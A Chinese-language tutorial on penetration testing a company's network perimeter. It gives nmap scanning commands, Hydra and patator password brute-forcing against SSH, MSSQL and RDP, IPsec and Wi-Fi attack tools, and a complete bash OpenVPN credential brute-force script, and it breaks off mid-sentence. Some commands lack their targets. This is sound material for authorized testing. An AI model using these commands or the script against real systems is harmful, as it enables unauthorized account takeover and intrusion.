外部网络边界最常受到攻击,技术专家的任务是使其尽可能安全和坚不可摧。为此,有必要进行渗透测试,其中一个阶段是扫描边界以查找漏洞。如果无法聘请第三方专家开展工作,在基础层面你可以这样做。
如果公司使用公开可用的网络资源,我们可以进行以下的工具操作。
假设我们正在从开始扫描网关:
nmap -sV www.example.com
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-03 09:34 BST
找到开放端口后,您需要检查服务并尝试通过添加密钥来尽可能多地收集有关它们的信息 -sV
nmap -sC -p 21,22,53,80,3389 www.example.com
将启动一个将应用于指定端口的标准集。该集包括旨在确定启动服务的用户名、收集站点横幅、检查对 FTP 服务器的匿名访问等的脚本。
nmap -sV --script=vulscan/vulscan.nse www.example.com
它可以将 Nmap 的功能扩展到使用exploit-db、CVE、OpenVAS 数据库等的漏洞扫描器的功能。适用于 SSH、FTP、MySQL、MSSQL、RDS 等服务。您可以尝试蛮力攻击来获取帐户 Hydra 工具,那么为此-l
在参数中指定用户名(或名称列表)就足够了,在-p
- 带有密码的字典中,以及被攻击的服务和目标的地址。
SSH(端口 22)
hydra -l user -P /root/passlist.lst ssh://
MSSQL(1433 端口)
hydra -l sa -P /root/passlist.lst mssql://
RDS(端口 3389)
patator rdp_login host= user=test_user password=FILE0 0=passlist.lst -x ignore:code=131
Hydra 目前没有猜测 RDS 密码的能力。我们在参数中指定用于枚举的用户名,`user`通过参数指定字典`FILE0`
我们还添加了一个参数`-x`,在该参数中我们指定按响应代码过滤并忽略所有带有代码的响应`131`
OpenVAS 、Nessus 等漏洞扫描程序也是可以的。
应用资源
通常,使用为特定目的设计的专用扫描仪。例如,如果 Web 应用程序使用 WordPress CMS,另外两个流行的 Web 应用程序扫描程序Nikto、Wapiti 将是很好的帮手。
Nikto 旨在搜索任何类型的 Web 服务器上的各种默认和不安全文件、配置和程序,而 Wapiti 分析站点结构,寻找可用的攻击场景,分析参数,然后打开检测漏洞的模糊器。
Wapiti 在其武器库中拥有确定注射的技术、跨站脚本、CRLF 错误(HTTP 响应拆分)、文件处理错误(RFI/LFI、fopen、readfile)等。
wapiti http://example.com/about -u -v 2 -o /home/outfile.html
IPSEC
扫描的时候端口都关了,500 是开放的以建立 IPsec 链接,从而允许攻击向量获得并对公司内部资源的访问权限。
python3 ikeforce.py 192.168.60.50 -e -w wordlist.txt -t 5 2 1 2
openVPN
只有在 OpenVPN 的情况下,端口 1194 (UDP) 很可能会被打开,这也可能成为入侵者攻击的载体
#!/bin/bash
# By Galkan
openvpn_binary_path="/usr/sbin/openvpn"
function brute_force()
{
brute_file="`mktemp /tmp/brute_force_openvpn_$USER.XXXXXX`"
output_file="`mktemp /tmp/brute_force_openvpn_$USER.XXXXXX`"
rm -f $brute_file $output_file
user_name="$1"
password="$2"
echo "$user_name" > "$brute_file"
echo "$password" >> "$brute_file"
$openvpn_binary_path --config $openvpn_config_file --auth-user-pass "$brute_file" > $output_file &
while [ 1 ]
do
if [ -f "$output_file" ]
then
cat $output_file | grep -q "Options error"
if [ $? -eq 0 ]
then
echo "ERROR: `cat $output_file | grep "Options error"`"
break
fi
cat $output_file | grep -q "SIGTERM\[soft,auth-failure\] received, process exiting"
if [ $? -eq 0 ]
then
echo "$user_name:$password -> FAILURE"
break
fi
cat $output_file | grep -q "Initialization Sequence Completed"
if [ $? -eq 0 ]
then
echo "$user_name:$password -> SUCCESS"
break
fi
else
continue
fi
done
openvpn_pid="`pidof openvpn`"
kill -9 $openvpn_pid >/dev/null 2&>1
rm -f $brute_file $output_file
}
function main()
{
dict_file="$1"
for vpn_file in $openvpn_binary_path $openvpn_config_file $dict_file
do
if [ ! -f "$vpn_file" ]
then
echo "$vpn_file : Dosyasi Sistemde Bulunamadi !!!"
exit 3
fi
done
cat $dict_file | while read -r line
do
user_name="`echo "$line" | cut -d ":" -f1`"
password="`echo "$line" | cut -d ":" -f2`"
result="`brute_force "$user_name" "$password"`"
echo "$result"
echo "$result" | grep -Eq "^ERROR"
if [ $? -eq 0 ]
then
break
fi
done
}
if [ ! $# -eq 2 ]
then
echo "Kullanim: $0 <dict_file> <vpn_config_file>"
exit 1
else
dict_file="$1"
openvpn_config_file="$2"
main "$dict_file"
fi
Wireless
如果公司使用无线网络,攻击者可以利用它对连接的客户端和公司内部资源发起攻击。尽可能用无线设备隔离该段是值得的。wifite 可以完全自动化无线网络测试。使用其他工具时 Aircrack-ng 必须手动完成所有测试步骤。同样重要的是要了解,对于此类测试,通常可能需要额外的设备 - 能够在监控模式(混杂模式)下运行的无线适配器 - 拦截流量的先决条件。只有带有适当芯片的适配器才适用于此,您必须根据其规格进行选择。这些既可以是相当昂贵的 Alpha 设备,也可以是普通设备:内置于笔记本电脑或 USB 适配器。如果选择了所需的适配器,则可以开始测试。
eaphammer 可以使用 Targeted evil twin ack